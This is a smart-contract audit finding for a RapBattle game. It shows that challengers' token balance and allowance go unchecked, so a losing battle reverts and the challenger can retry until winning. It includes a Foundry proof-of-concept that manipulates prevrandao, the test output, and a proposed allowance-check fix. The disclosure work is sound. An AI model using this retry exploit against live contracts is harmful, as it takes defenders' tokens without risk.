Summary
During a battle the contract doesn't check if the challenger has enough CredToken and made the necessary approve. It will only be revealed when the challenger lose so the contract tries to transfer the bet to the defender.
This gives the challenger the opportunity to doesn't make the approve (or has insufficient balance) and make several tries (aka DDOS) to win the battle since the contract only reverts so he cannot lose CredTokens.
Vulnerability Details
A test environment makes us possible to manipulate randomness so we can simulate two scenarios when the challenger wins and loses.
function testChallengerDDOS() public twoSkilledRappers {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
@>
uint256 modifiedPrevrando = 16;
vm.prevrandao(bytes32(modifiedPrevrando));
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, challenger)))
% 150;
console.log("\n-- Random parameters when the challenger lose --");
console.log("Timestamp: ", block.timestamp);
console.log("Prevrandao: ", block.prevrandao);
console.log("Random: ", random);
vm.expectRevert();
rapBattle.goOnStageOrBattle(1, 3);
@> assert(cred.balanceOf(challenger) == 4);
modifiedPrevrando = 0;
vm.prevrandao(bytes32(modifiedPrevrando));
random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, challenger)))
% 150;
console.log("\n-- Random parameters when the challenger win --");
console.log("Timestamp: ", block.timestamp);
console.log("Prevrandao: ", block.prevrandao);
console.log("Random: ", random);
vm.recordLogs();
rapBattle.goOnStageOrBattle(1, 3);
vm.stopPrank();
Vm.Log[] memory entries = vm.getRecordedLogs();
address winner = address(uint160(uint256(entries[0].topics[2])));
assert(winner == challenger);
@> assert(cred.balanceOf(winner) == 7);
}
Result
forge test -vv --match-test testChallengerDDOS
[⠢] Compiling...
[⠑] Compiling 1 files with 0.8.23
[⠘] Solc 0.8.23 finished in 1.45s
Compiler run successful!
Running 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] testChallangerDDOS() (gas: 638410)
Logs:
-- Random parameters when the challenger lose --
Timestamp: 345601
Prevrandao: 16
Random: 36
-- Random parameters when the challenger win --
Timestamp: 345601
Prevrandao: 0
Random: 98
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.71ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
As the result shows if the challenger doesn't make the approve he cannot lose just win.
Impact
A rapper can prevent to lose CredTokens and force to win the battle and get the defender's CredTokens.
Tools Used
Manual review, Foundry
Recommendations
Ensure that the challenger has enough tokens for the battle and made the approve for the RapBattle contract.
One way to achive this is to transfer the bet amount from the challenger to the contract before the battle but it has a gas impact.
The optimal solution is that only check the challenger's balance and allowance.
Since the ICreditToken interface doesn't support the IERC20.allowance method, first we need to add it.
Step 1
interface ICredToken {
function decimals() external returns (uint8);
function approve(address to, uint256 amount) external;
function transfer(address to, uint256 amount) external;
function transferFrom(address from, address to, uint256 amount) external;
function balanceOf(address user) external returns (uint256 balance);
+ function allowance(address owner, address spender) external returns (uint256);
}
Step 2
In RapBattle::goOnStageBattle
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ require(
+ credToken.balanceOf(msg.sender) >= _credBet &&
+ credToken.allowance(msg.sender, address(this)) >= _credBet,
+ "RapBattle: Challanger has not enough funds"
+ );
_battle(_tokenId, _credBet);
}
}
